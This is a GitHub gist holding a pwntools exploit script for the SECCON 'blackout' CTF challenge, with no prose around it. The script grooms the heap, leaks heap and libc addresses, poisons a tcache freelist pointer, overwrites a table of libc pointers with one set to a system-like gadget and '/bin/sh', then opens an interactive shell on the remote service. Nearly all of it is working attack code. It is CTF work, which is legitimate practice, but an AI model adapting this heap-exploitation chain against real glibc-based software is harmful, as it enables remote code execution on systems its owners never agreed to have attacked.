Skip to content

Instantly share code, notes, and snippets.

@dfyz
Created September 22, 2023 00:15
Show Gist options
  • Save dfyz/dd8cceeab003c08d618187f87ad8301c to your computer and use it in GitHub Desktop.
Save dfyz/dd8cceeab003c08d618187f87ad8301c to your computer and use it in GitHub Desktop.
from pwn import *
import string
PROMPT = b'> '
def main():
with remote('blackout.seccon.games', 9999) as tube:
def new(index, size, string):
tube.sendlineafter(PROMPT, b'1')
tube.sendlineafter(b'Index: ', str(index).encode())
tube.sendlineafter(b'Size: ', str(size - 0x10).encode())
tube.sendlineafter(b'String: ', string)
def blackout(index, word):
tube.sendlineafter(PROMPT, b'2')
tube.sendlineafter(b'Index: ', str(index).encode())
tube.sendlineafter(b'Word to redact: ', word)
def delete(index):
tube.sendlineafter(PROMPT, b'3')
tube.sendlineafter(b'Index: ', str(index).encode())
def pw2(power):
return 1 << power
new(0, 0xd60, b'kek') # padding
new(1, 0x100, b'/bin/sh;' + b'B' * (0x100 - 0x11 - 0x8)) # has ...0000 address
new(2, 0x100, b'kek')
new(3, 0x2700, b'wow')
new(7, 0x200, b'blah')
new(6, 0x200, b'oof')
new(5, 0x200, b'whatever')
new(4, 0x10000 - 0x2f00, b'whoa')
for ii in range(pw2(16) - 1):
if ii % 1000 == 0:
if ii % 10000 == 0:
log.info('%d', ii)
blackout(1, b'A')
szz = pw2(16) - 0x10
tube.send(f'1\n0\n{szz}\nlol\n'.encode())
n_chunks = 0x10
suffix = b''
for ch in string.ascii_lowercase[:n_chunks]:
suffix += ch.encode() * 0x10
# context.log_level = 'debug'
new(0, pw2(16), b'A' * (0x100 - 0x11) + b'B' * 0x11 + suffix)
delete(2)
blackout(0, b'B' * 0x11)
blackout(1, b'A')
tube.recvuntil(b'*' * 0x11)
heap_leak = (unpack(tube.recv(2), 'all') << 12) - 0x1000
log.info('heap leak: 0x%x', heap_leak)
if heap_leak & 0xFF_FF != 0xF0_00:
log.info('oops, restarting')
return 1
delete(7)
# craft fake chunk
new(7, 0x200, b'\x00' * 0xf8 + b'\x01\x02')
target = 0x404098 | 0x2_0000_0000
next_chunk = heap_leak + 0x1000 + pw2(32) + pw2(16)
diff = (target - next_chunk)
log.info('target: 0x%x, next_chunk: 0x%x, diff: 0x%x', target, next_chunk, diff)
for ii in range(diff // pw2(16)):
if ii % 1000 == 0:
if ii % 10000 == 0:
log.info('%d', ii)
blackout(1, b'A')
szz = pw2(16) - 0x10
tube.send(f'1\n4\n{szz}\nlol\n'.encode())
new(4, pw2(16), b'A' * (diff % pw2(16) + 1) + b'a')
blackout(4, b'a')
delete(5)
delete(6)
delete(7)
delete(3)
for ch in string.ascii_lowercase[:n_chunks]:
blackout(0, ch.encode() * 0x10)
blackout(1, b'A')
tube.recvuntil(b'*' * (0x111))
libc_leak = unpack(tube.recv(6), 'all') - 0x219ce0
libc_target = libc_leak + 0x219060
log.info('libc_leak: 0x%x, libc_target: 0x%x', libc_leak, libc_target)
our_ptr = heap_leak + 0x3b00
mangled_libc_target = (our_ptr >> 12) ^ libc_target
new(7, 0x200, b'\x00' * 0x100 + p64(mangled_libc_target))
new(6, 0x200, b'lol')
pointers = [
0x007f0866bae680,
0x007f0866baef40,
0x007f0866bb5700,
0x007f0866bafe20,
0x007f0866bb5a00,
0x007f0866a280f0,
0x007f0866bb3430,
0x007f0866bb2220,
0x007f0866b9a2c4,
0x007f0866bb1dd0,
0x007f0866bb4340,
0x007f0866bb1700,
0x007f0866baf700,
0x007f0866a28170,
0x007f0866a28180,
0x007f0866bafa90,
0x007f0866bae980,
0x007f0866b9b944,
0x007f0866a281c0,
0x007f0866bb0d00,
0x007f0866b927a0,
0x007f0866b98730,
0x007f0866b9a2b0,
0x007f0866bb2ec0,
0x007f0866bb5700,
0x007f0866bb0270,
0x007f0866bb45c0,
0x007f0866a28250,
0x007f0866baef40,
0x007f0866bb4140,
0x007f0866bb1460,
0x007f0866bb4340,
0x007f0866baef40,
0x007f0866a282b0,
0x007f0866a282c0,
0x007f0866da7dd0,
0x007f0866bb4a80,
0x007f0866bafb40,
0x007f0866bb51e0,
0x007f0866bb1960,
0x007f0866a28320,
0x007f0866a28330,
0x007f0866b98870,
0x007f0866dab680,
0x007f0866bb3e80,
]
pointers = [p - 0x7f0866a00000 + libc_leak for p in pointers]
pointers[0] = libc_leak + 0x50d60
new(5, 0x200, b''.join(map(p64, pointers)))
blackout(1, b'A')
tube.interactive()
if __name__ == '__main__':
while main():
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment